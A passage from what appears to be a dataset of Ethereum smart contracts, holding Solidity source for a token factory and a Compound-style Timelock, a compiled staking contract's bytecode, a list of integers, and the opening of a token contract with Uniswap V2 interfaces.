require(_directMintAddresses.length == _directMintAmounts.length,
"Direct mint addresses length cannot be mismatched with mint amounts length.");
// Create the token and optionally mint any specified addresses.
Token newToken = new Token(_name, _ticker, _cap);
for (uint256 i = 0; i < _directMintAddresses.length; i++) {
address directMintAddress = _directMintAddresses[i];
uint256 directMintAmount = _directMintAmounts[i];
newToken.mint(directMintAddress, directMintAmount);
}
// Transfer ownership of the new Token to the user then store a reference.
newToken.transferOwnership(msg.sender);
address tokenAddress = address(newToken);
tokenRecords[msg.sender].push(tokenAddress);
emit TokenCreated(tokenAddress, msg.sender);
return newToken;
}
/**
Allow a user to add an existing Token contract to the registry.
@param _tokenAddress The address of the Token contract to add for this user.
*/
function addToken(address _tokenAddress) external {
tokenRecords[msg.sender].push(_tokenAddress);
}
/**
Get the number of entries in the Token records mapping for the given user.
@return The number of Tokens added for a given address.
*/
function getTokenCount(address _user) external view returns (uint256) {
return tokenRecords[_user].length;
}
}
// SPDX-License-Identifier: BSD-3-Clause
// Modified from https://github.com/compound-finance/compound-protocol/blob/master/contracts/Timelock.sol
// Copyright 2020 Compound Labs, Inc.
// Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
// 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
// 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
// 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
pragma solidity 0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
contract Timelock {
using SafeMath for uint;
event NewAdmin(address indexed newAdmin);
event NewPendingAdmin(address indexed newPendingAdmin);
event NewDelay(uint indexed newDelay);
event CancelTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta);
event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta);
event QueueTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta);
uint public constant GRACE_PERIOD = 14 days;
uint public constant MINIMUM_DELAY = 2 days;
uint public constant MAXIMUM_DELAY = 30 days;
address public admin;
address public pendingAdmin;
uint public delay;
mapping (bytes32 => bool) public queuedTransactions;
constructor(address admin_, uint delay_) public {
require(delay_ >= MINIMUM_DELAY, "Timelock::constructor: Delay must exceed minimum delay.");
require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay.");
admin = admin_;
delay = delay_;
}
receive() external payable { }
function setDelay(uint delay_) public {
require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock.");
require(delay_ >= MINIMUM_DELAY, "Timelock::setDelay: Delay must exceed minimum delay.");
require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay.");
delay = delay_;
emit NewDelay(delay);
}
function acceptAdmin() public {
require(msg.sender == pendingAdmin, "Timelock::acceptAdmin: Call must come from pendingAdmin.");
admin = msg.sender;
pendingAdmin = address(0);
emit NewAdmin(admin);
}
function setPendingAdmin(address pendingAdmin_) public {
require(msg.sender == address(this), "Timelock::setPendingAdmin: Call must come from Timelock.");
pendingAdmin = pendingAdmin_;
emit NewPendingAdmin(pendingAdmin);
}
function queueTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public returns (bytes32) {
require(msg.sender == admin, "Timelock::queueTransaction: Call must come from admin.");
require(eta >= getBlockTimestamp().add(delay), "Timelock::queueTransaction: Estimated execution block must satisfy delay.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
queuedTransactions[txHash] = true;
emit QueueTransaction(txHash, target, value, signature, data, eta);
return txHash;
}
function cancelTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public {
require(msg.sender == admin, "Timelock::cancelTransaction: Call must come from admin.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
queuedTransactions[txHash] = false;
emit CancelTransaction(txHash, target, value, signature, data, eta);
}
function _getRevertMsg(bytes memory _returnData) internal pure returns (string memory) {
// If the _res length is less than 68, then the transaction failed silently (without a revert message)
if (_returnData.length < 68) return 'Transaction reverted silently';
assembly {
// Slice the sighash.
_returnData := add(_returnData, 0x04)
}
return abi.decode(_returnData, (string)); // All that remains is the revert string
}
function executeTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public payable returns (bytes memory) {
require(msg.sender == admin, "Timelock::executeTransaction: Call must come from admin.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued.");
require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock.");
require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), "Timelock::executeTransaction: Transaction is stale.");
queuedTransactions[txHash] = false;
bytes memory callData;
if (bytes(signature).length == 0) {
callData = data;
} else {
callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data);
}
// solium-disable-next-line security/no-call-value
(bool success, bytes memory returnData) = target.call{ value: value }(callData);
require(success, "Timelock::executeTransaction: Transaction execution reverted.");
emit ExecuteTransaction(txHash, target, value, signature, data, eta);
return returnData;
}
function getBlockTimestamp() internal view returns (uint) {
return block.timestamp;
}
}
| 0x608060405234801561001057600080fd5b506004361061028a5760003560e01c8063918d24281161015c578063d98865b6116100ce578063f293a60911610087578063f293a6091461052f578063f2fde38b14610542578063f3fef3a314610555578063f50ddbc714610568578063f5fc54951461057b578063fc0c546a1461058e5761028a565b8063d98865b6146104c5578063dced1a5a146104e6578063e3cdb739146104f9578063e3d434561461050c578063e6dc923d14610514578063edd41c901461051c5761028a565b8063ba25524611610120578063ba25524614610474578063ca1fb21b1461047c578063cdca2bd31461048f578063cfadd417146104a2578063d038fdcf146104aa578063d855da2e146104b25761028a565b8063918d24281461040e57806392ca7f9d146104215780639a7b5f11146104345780639f5e116214610459578063a329485d146104615761028a565b80632ce8d3e811610200578063546339e3116101b9578063546339e3146103c857806358f94d06146103db578063715018a6146103ee5780637fc019be146103f65780638da5cb5b146103fe5780638eec5d70146104065761028a565b80632ce8d3e81461036a5780632d48f80f1461037f578063346a84bf146103875780633efe64411461039a57806341f701e2146103a257806347e7ef24146103b55761028a565b80631088ce90116102525780631088ce901461030157806312c443f31461031457806313997fc81461031c57806317ccd7ee1461033c5780631c64669f1461034f578063268a66d8146103575761028a565b806301681a621461028f578063025714f4146102a457806306fdde03146102c25780630f208beb146102d7578063100d087d146102f9575b600080fd5b6102a261029d366004612238565b610596565b005b6102ac610678565b6040516102b99190612bc6565b60405180910390f35b6102ca61067e565b6040516102b99190612491565b6102ea6102e5366004612334565b610709565b6040516102b993929190612bdd565b6102ac610735565b6102ac61030f366004612238565b61073b565b6102ac6107be565b61032f61032a366004612395565b6107c4565b6040516102b99190612402565b6102a261034a366004612361565b6107eb565b6102ac610a42565b6102a261036536600461228c565b610a48565b610372610b05565b6040516102b99190612453565b610372610b0e565b6102ac610395366004612238565b610b17565b6102ac610b29565b6103726103b0366004612238565b610baf565b6102a26103c336600461228c565b610bc4565b6102ac6103d63660046123c5565b610e11565b6102ac6103e9366004612334565b610ee7565b6102a2611064565b6102a26110ed565b61032f611138565b6102ac611147565b6102a261041c36600461228c565b61114d565b6102a261042f366004612254565b611228565b610447610442366004612238565b611292565b6040516102b99695949392919061245e565b6103726112d1565b6102ac61046f366004612238565b6112df565b6102ac6112f1565b6102ac61048a366004612238565b6112f7565b6102ac61049d366004612334565b611398565b6102ac6114f6565b6102ac6114fc565b6102a26104c036600461228c565b611502565b6104d86104d3366004612395565b6115b7565b6040516102b9929190612bcf565b61032f6104f4366004612395565b6115d0565b6102ac6105073660046123c5565b6115dd565b6102a2611668565b6102a26116b4565b6102a261052a3660046122b7565b6116ff565b6102ac61053d366004612238565b6118f3565b6102a2610550366004612238565b61190e565b6102a261056336600461228c565b6119ce565b6102ac610576366004612238565b611bea565b6104d8610589366004612395565b611bfc565b61032f611c15565b61059e611c24565b6001600160a01b03166105af611138565b6001600160a01b0316146105de5760405162461bcd60e51b81526004016105d5906128f9565b60405180910390fd5b6040516370a0823160e01b81526000906001600160a01b038316906370a082319061060d903090600401612402565b60206040518083038186803b15801561062557600080fd5b505afa158015610639573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061065d91906123ad565b90506106746001600160a01b038316303384611c28565b5050565b60145481565b6002805460408051602060018416156101000260001901909316849004601f810184900484028201840190925281815292918301828280156107015780601f106106d657610100808354040283529160200191610701565b820191906000526020600020905b8154815290600101906020018083116106e457829003601f168201915b505050505081565b601260209081526000928352604080842090915290825290208054600182015460029092015490919083565b600b5481565b6001600160a01b03811660009081526016602052604081205481805b6010548110156107ab5760006010828154811061077057fe5b60009182526020822001546001600160a01b031691506107908288610ee7565b905061079c8482611c86565b93505050806001019050610757565b506107b68282611c86565b949350505050565b60065490565b600681815481106107d157fe5b6000918252602090912001546001600160a01b0316905081565b6107f3611c24565b6001600160a01b0316610804611138565b6001600160a01b03161461082a5760405162461bcd60e51b81526004016105d5906128f9565b600060095411801561083e57506000600b54115b61085a5760405162461bcd60e51b81526004016105d5906124c4565b6000600e54431161086d57600e5461086f565b435b90506000600f54431161088457600f54610886565b435b905060008183116108975781610899565b825b6001600160a01b03878116600090815260116020526040902054919250166109ac57601080546001810182556000919091527f1b6847dc741a1b0cd08d278845f9d819d87b734759afb55fe2de5cb82a9ae6720180546001600160a01b0319166001600160a01b0388161790556013546109139086611c86565b6013556014546109239085611c86565b6014556040805160c0810182526001600160a01b0388811680835260208084018a81526000858701818152606087018c81526080880183815260a089018b8152968452601190955297909120955186546001600160a01b031916951694909417855551600185015591516002840155925160038301555160048201559051600590910155610a3a565b6001600160a01b0386166000908152601160205260409020600101546013546109e09187916109da91611cb2565b90611c86565b6013556001600160a01b03861660009081526011602052604090206001810186905560030154601454610a189186916109da91611cb2565b6014556001600160a01b03861660009081526011602052604090206003018490555b505050505050565b60155481565b610a50611c24565b6001600160a01b0316610a61611138565b6001600160a01b031614610a875760405162461bcd60e51b81526004016105d5906128f9565b60055460ff16610aa95760405162461bcd60e51b81526004016105d5906126b9565b60068054600181019091557ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f0180546001600160a01b039093166001600160a01b03199093168317905560009182526007602052604090912055565b60085460ff1681565b60055460ff1681565b60176020526000908152604090205481565b6003546040516370a0823160e01b81526000916001600160a01b0316906370a0823190610b5a903090600401612402565b60206040518083038186803b158015610b7257600080fd5b505afa158015610b86573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610baa91906123ad565b905090565b60186020526000908152604090205460ff1681565b60026001541415610be75760405162461bcd60e51b81526004016105d590612b8f565b600260019081556001600160a01b038316600090815260116020526040902090810154151580610c1b575060008160030154115b610c375760405162461bcd60e51b81526004016105d5906125f9565b6001600160a01b03831660009081526012602090815260408083203384529091529020610c6384611cda565b805415610d2f576000610ca48260010154610c9e64e8d4a51000610c9887600201548760000154611f8290919063ffffffff16565b90611fbc565b90611cb2565b600354909150610cbf906001600160a01b0316303384611c28565b601554610ccc9082611c86565b601555600282015460048401548354600092610cff929091610c9e9168327cb2734119d3b7a9601e1b91610c9891611f82565b33600090815260166020526040902054909150610d1c9082611c86565b3360009081526016602052604090205550505b8154610d46906001600160a01b0316333086611c28565b6003546001600160a01b0385811691161415610d6d57600454610d699084611c86565b6004555b8054610d799084611c86565b8082556002830154610d969164e8d4a5100091610c989190611f82565b600182015560048201548154610dbd9168327cb2734119d3b7a9601e1b91610c9891611f82565b60028201556040516001600160a01b0385169033907f5548c837ab068cf56a2c2479df0882a4922fd203edb7517321831d95078c5f6290610dff908790612bc6565b60405180910390a35050600180555050565b600082821015610e335760405162461bcd60e51b81526004016105d59061298b565b60008084815b600b54811015610eb7576000818152600c60205260409020805460019091015481881015610e8d57610e7f610e7886610e728b88611cb2565b90611f82565b8790611c86565b9650610ee195505050505050565b81841015610eac57610ea6610e7886610e728588611cb2565b95508193505b935050600101610e39565b5084811015610edb57610ed8610ed183610e728885611cb2565b8490611c86565b92505b50909150505b92915050565b6001600160a01b038083166000908152601160209081526040808320601283528184208686168552909252808320600480840154845493516370a0823160e01b8152959694959294909387939116916370a0823191610f4891309101612402565b60206040518083038186803b158015610f6057600080fd5b505afa158015610f74573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f9891906123ad565b6003549091506001600160a01b0388811691161415610fb657506004545b836005015443118015610fc95750600081115b1561102a576000610fde856005015443610e11565b9050600061100f68327cb2734119d3b7a9601e1b610e72601454610c988a6003015487611f8290919063ffffffff16565b905061102561101e8285611fbc565b8590611c86565b935050505b6110598360020154610c9e68327cb2734119d3b7a9601e1b610c98868860000154611f8290919063ffffffff16565b979650505050505050565b61106c611c24565b6001600160a01b031661107d611138565b6001600160a01b0316146110a35760405162461bcd60e51b81526004016105d5906128f9565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6110f5611c24565b6001600160a01b0316611106611138565b6001600160a01b03161461112c5760405162461bcd60e51b81526004016105d5906128f9565b6005805460ff19169055565b6000546001600160a01b031690565b60105490565b3360009081526018602052604090205460ff1661117c5760405162461bcd60e51b81526004016105d590612a31565b6000611187836112f7565b9050818110156111a95760405162461bcd60e51b81526004016105d590612890565b6001600160a01b0383166000908152601760205260409020546111cc9083611c86565b6001600160a01b0384166000818152601760205260409081902092909255905133907fc190b916ad0d73495fc67863442b6166cbf8a5b02a55939e6e35e7d7ec3b1d1e9061121b908690612bc6565b60405180910390a3505050565b611230611c24565b6001600160a01b0316611241611138565b6001600160a01b0316146112675760405162461bcd60e51b81526004016105d5906128f9565b6001600160a01b03919091166000908152601860205260409020805460ff1916911515919091179055565b6011602052600090815260409020805460018201546002830154600384015460048501546005909501546001600160a01b039094169492939192909186565b600854610100900460ff1681565b60076020526000908152604090205481565b60095481565b6001600160a01b03811660009081526016602052604081205481805b6010548110156113675760006010828154811061132c57fe5b60009182526020822001546001600160a01b0316915061134c8288610ee7565b90506113588482611c86565b93505050806001019050611313565b506001600160a01b03841660009081526017602052604090205461138f81610c9e8585611c86565b95945050505050565b6001600160a01b0380831660009081526011602090815260408083206012835281842086861685529092528083206002830154835492516370a0823160e01b8152949593949193909286929116906370a08231906113fa903090600401612402565b60206040518083038186803b15801561141257600080fd5b505afa158015611426573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061144a91906123ad565b6003549091506001600160a01b038881169116141561146857506004545b83600501544311801561147b5750600081115b156114ce5760006114908560050154436115dd565b905060006114ba64e8d4a51000610e72601354610c988a6001015487611f8290919063ffffffff16565b90506114c961101e8285611fbc565b935050505b6110598360010154610c9e64e8d4a51000610c98868860000154611f8290919063ffffffff16565b60045481565b60135481565b336000908152600760205260409020548061152f5760405162461bcd60e51b81526004016105d590612535565b8082111561154f5760405162461bcd60e51b81526004016105d590612afd565b503360009081526007602052604080822082905560068054600181019091557ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f0180546001600160a01b0319166001600160a01b039590951694851790559281529190912055565b600a602052600090815260409020805460019091015482565b601081815481106107d157fe5b6000828210156115ff5760405162461bcd60e51b81526004016105d590612795565b60008084815b600954811015610eb7576000818152600a6020526040902080546001909101548188101561163e57610e7f610e7886610e728b88611cb2565b8184101561165d57611657610e7886610e728588611cb2565b95508193505b935050600101611605565b611670611c24565b6001600160a01b0316611681611138565b6001600160a01b0316146116a75760405162461bcd60e51b81526004016105d5906128f9565b6008805461ff0019169055565b6116bc611c24565b6001600160a01b03166116cd611138565b6001600160a01b0316146116f35760405162461bcd60e51b81526004016105d5906128f9565b6008805460ff19169055565b611707611c24565b6001600160a01b0316611718611138565b6001600160a01b03161461173e5760405162461bcd60e51b81526004016105d5906128f9565b8151156117f45760085460ff166117675760405162461bcd60e51b81526004016105d5906127f2565b815160095560005b6009548110156117f25782818151811061178557fe5b6020908102919091018101516000838152600a8352604090208151815591015160019091015582518390829081106117b957fe5b602002602001015160000151600e5411156117ea578281815181106117da57fe5b602090810291909101015151600e555b60010161176f565b505b6000600954116118165760405162461bcd60e51b81526004016105d590612b46565b8051156118d157600854610100900460ff166118445760405162461bcd60e51b81526004016105d59061292e565b8051600b5560005b600b548110156118cf5781818151811061186257fe5b6020908102919091018101516000838152600c83526040902081518155910151600190910155815182908290811061189657fe5b602002602001015160000151600f5411156118c7578181815181106118b757fe5b602090810291909101015151600f555b60010161184c565b505b6000600954116106745760405162461bcd60e51b81526004016105d5906129e8565b6001600160a01b031660009081526017602052604090205490565b611916611c24565b6001600160a01b0316611927611138565b6001600160a01b03161461194d5760405162461bcd60e51b81526004016105d5906128f9565b6001600160a01b0381166119735760405162461bcd60e51b81526004016105d59061257c565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600260015414156119f15760405162461bcd60e51b81526004016105d590612b8f565b60026001556001600160a01b0382166000908152601160209081526040808320601283528184203385529092529091208054831115611a425760405162461bcd60e51b81526004016105d590612649565b611a4b84611cda565b6000611a798260010154610c9e64e8d4a51000610c9887600201548760000154611f8290919063ffffffff16565b600354909150611a94906001600160a01b0316303384611c28565b601554611aa19082611c86565b601555600282015460048401548354600092611ad4929091610c9e9168327cb2734119d3b7a9601e1b91610c9891611f82565b33600090815260166020526040902054909150611af19082611c86565b336000908152601660205260409020556003546001600160a01b0387811691161415611b2857600454611b249086611cb2565b6004555b8254611b349086611cb2565b8084556002850154611b519164e8d4a5100091610c989190611f82565b600184015560048401548354611b789168327cb2734119d3b7a9601e1b91610c9891611f82565b60028401558354611b93906001600160a01b03163387611fee565b856001600160a01b0316336001600160a01b03167f9b1bfa7fa9ee420a16e124f794c35ac9f90472acc99140eb2f6447c714cad8eb87604051611bd69190612bc6565b60405180910390a350506001805550505050565b60166020526000908152604090205481565b600c602052600090815260409020805460019091015482565b6003546001600160a01b031681565b3390565b611c80846323b872dd60e01b858585604051602401611c4993929190612416565b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152612012565b50505050565b600082820183811015611cab5760405162461bcd60e51b81526004016105d5906125c2565b9392505050565b600082821115611cd45760405162461bcd60e51b81526004016105d590612727565b50900390565b6001600160a01b038116600090815260116020526040902060058101544311611d035750611f7f565b80546040516370a0823160e01b81526000916001600160a01b0316906370a0823190611d33903090600401612402565b60206040518083038186803b158015611d4b57600080fd5b505afa158015611d5f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d8391906123ad565b6003549091506001600160a01b0384811691161415611da157506004545b60008111611db6575043600590910155611f7f565b6000611dc68360050154436115dd565b90506000611df064e8d4a51000610e72601354610c98886001015487611f8290919063ffffffff16565b90506000611e02856005015443610e11565b90506000611e3368327cb2734119d3b7a9601e1b610e72601454610c988a6003015487611f8290919063ffffffff16565b905060005b600654811015611f3457600060068281548110611e5157fe5b60009182526020808320909101546001600160a01b03168083526007909152604082205490925090611e8a620186a0610c988985611f82565b968790039690506000611ea4620186a0610c988886611f82565b95869003959050611ed33085611ebf8564e8d4a51000611fbc565b6003546001600160a01b0316929190611c28565b611f0b611eec8268327cb2734119d3b7a9601e1b611fbc565b6001600160a01b03861660009081526016602052604090205490611c86565b6001600160a01b0394909416600090815260166020526040902093909355505050600101611e38565b50611f4d611f428487611fbc565b600288015490611c86565b6002870155611f6a611f5f8287611fbc565b600488015490611c86565b60048701555050436005909401939093555050505b50565b600082611f9157506000610ee1565b82820282848281611f9e57fe5b0414611cab5760405162461bcd60e51b81526004016105d59061284f565b6000808211611fdd5760405162461bcd60e51b81526004016105d59061275e565b818381611fe657fe5b049392505050565b61200d8363a9059cbb60e01b8484604051602401611c4992919061243a565b505050565b6060612067826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166120a19092919063ffffffff16565b80519091501561200d57808060200190518101906120859190612318565b61200d5760405162461bcd60e51b81526004016105d590612ab3565b60606107b68484600085856120b585612140565b6120d15760405162461bcd60e51b81526004016105d590612a7c565b60006060866001600160a01b031685876040516120ee91906123e6565b60006040518083038185875af1925050503d806000811461212b576040519150601f19603f3d011682016040523d82523d6000602084013e612130565b606091505b5091509150611059828286612146565b3b151590565b60608315612155575081611cab565b8251156121655782518084602001fd5b8160405162461bcd60e51b81526004016105d59190612491565b600082601f83011261218f578081fd5b813567ffffffffffffffff8111156121a5578182fd5b60206121b48182840201612bf3565b82815292508083018482016040808502870184018810156121d457600080fd5b60005b858110156121fb576121e98984612207565b845292840192918101916001016121d7565b50505050505092915050565b600060408284031215612218578081fd5b6122226040612bf3565b9050813581526020820135602082015292915050565b600060208284031215612249578081fd5b8135611cab81612c46565b60008060408385031215612266578081fd5b823561227181612c46565b9150602083013561228181612c5b565b809150509250929050565b6000806040838503121561229e578182fd5b82356122a981612c46565b946020939093013593505050565b600080604083850312156122c9578182fd5b823567ffffffffffffffff808211156122e0578384fd5b6122ec8683870161217f565b93506020850135915080821115612301578283fd5b5061230e8582860161217f565b9150509250929050565b600060208284031215612329578081fd5b8151611cab81612c5b565b60008060408385031215612346578182fd5b823561235181612c46565b9150602083013561228181612c46565b600080600060608486031215612375578081fd5b833561238081612c46565b95602085013595506040909401359392505050565b6000602082840312156123a6578081fd5b5035919050565b6000602082840312156123be578081fd5b5051919050565b600080604083850312156123d7578182fd5b50508035926020909101359150565b600082516123f8818460208701612c1a565b9190910192915050565b6001600160a01b0391909116815260200190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6001600160a01b03929092168252602082015260400190565b901515815260200190565b6001600160a01b03969096168652602086019490945260408501929092526060840152608083015260a082015260c00190565b60006020825282518060208401526124b0816040850160208701612c1a565b601f01601f19169190910160400192915050565b6020808252604b908201527f5374616b696e6720706f6f6c732063616e6e6f7420626520616464646564207560408201527f6e74696c20616e20656d697373696f6e207363686564756c652068617320626560608201526a32b7103232b334b732b21760a91b608082015260a00190565b60208082526027908201527f596f7520617265206e6f74206120646576656c6f706572206f6620746869732060408201526629ba30b5b2b91760c91b606082015260800190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b60208082526030908201527f596f752063616e6e6f74206465706f7369742061737365747320696e746f206160408201526f371034b730b1ba34bb32903837b7b61760811b606082015260800190565b6020808252604a908201527f596f752063616e6e6f742077697468647261772074686174206d756368206f6660408201527f207468652073706563696669656420746f6b656e3b20796f7520617265206e6f6060820152693a1037bbb2b21034ba1760b11b608082015260a00190565b60208082526048908201527f54686973205374616b657220686173206c6f636b65642074686520616464697460408201527f696f6e206f6620646576656c6f706572733b206e6f206d6f7265206d61792062606082015267329030b23232b21760c11b608082015260a00190565b6020808252601e908201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604082015260600190565b6020808252601a908201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604082015260600190565b6020808252603e908201527f546f6b656e732063616e6e6f7420626520656d69747465642066726f6d20612060408201527f68696768657220626c6f636b20746f2061206c6f77657220626c6f636b2e0000606082015260800190565b60208082526039908201527f54686973205374616b657220686173206c6f636b65642074686520616c74657260408201527f6174696f6e206f6620746f6b656e20656d697373696f6e732e00000000000000606082015260800190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b60208082526043908201527f546865207573657220646f6573206e6f74206861766520656e6f75676820706f60408201527f696e747320746f207370656e64207468652072657175657374656420616d6f75606082015262373a1760e91b608082015260a00190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526039908201527f54686973205374616b657220686173206c6f636b65642074686520616c74657260408201527f6174696f6e206f6620706f696e7420656d697373696f6e732e00000000000000606082015260800190565b6020808252603e908201527f506f696e74732063616e6e6f7420626520656d69747465642066726f6d20612060408201527f68696768657220626c6f636b20746f2061206c6f77657220626c6f636b2e0000606082015260800190565b60208082526029908201527f596f75206d757374207365742074686520706f696e7420656d697373696f6e2060408201526839b1b432b23ab6329760b91b606082015260800190565b6020808252602b908201527f596f7520617265206e6f74207065726d697474656420746f207370656e64207560408201526a39b2b9103837b4b73a399760a91b606082015260800190565b6020808252601d908201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604082015260600190565b6020808252602a908201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6040820152691bdd081cdd58d8d9595960b21b606082015260800190565b60208082526029908201527f596f752063616e6e6f7420696e63726561736520796f757220646576656c6f7060408201526832b91039b430b9329760b91b606082015260800190565b60208082526029908201527f596f75206d757374207365742074686520746f6b656e20656d697373696f6e2060408201526839b1b432b23ab6329760b91b606082015260800190565b6020808252601f908201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604082015260600190565b90815260200190565b918252602082015260400190565b9283526020830191909152604082015260600190565b60405181810167ffffffffffffffff81118282101715612c1257600080fd5b604052919050565b60005b83811015612c35578181015183820152602001612c1d565b83811115611c805750506000910152565b6001600160a01b0381168114611f7f57600080fd5b8015158114611f7f57600080fdfea2646970667358221220e6399977e4f9f2580ed680995b5391f280acb6dc0b36f1b82033d850d207a04a64736f6c634300060c0033 | [
4,
7,
37,
11,
9,
12,
13,
16,
26,
5
] |
0xf35ab9bb8b27bfc8cae77af3c32dbcdfc285a9b2 | /*
________ ___ ___ ___ ________ ________ ___ ___ ___ ________ _______
|\ ____\|\ \|\ \|\ \|\ __ \|\ __ \ |\ \ / /|\ \|\ ____\|\ ___ \
\ \ \___|\ \ \\\ \ \ \ \ \|\ /\ \ \|\ \ \ \ \ / / | \ \ \ \___|\ \ __/|
\ \_____ \ \ __ \ \ \ \ __ \ \ __ \ \ \ \/ / / \ \ \ \ \ \ \ \_|/__
\|____|\ \ \ \ \ \ \ \ \ \|\ \ \ \ \ \ \ \ / / \ \ \ \ \____\ \ \_|\ \
____\_\ \ \__\ \__\ \__\ \_______\ \__\ \__\ \ \__/ / \ \__\ \_______\ \_______\
|\_________\|__|\|__|\|__|\|_______|\|__|\|__| \|__|/ \|__|\|_______|\|_______|
\|_________|
*/
// SPDX-License-Identifier: MIT
// File: @uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// File: @uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol
pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// File: @uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol
pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
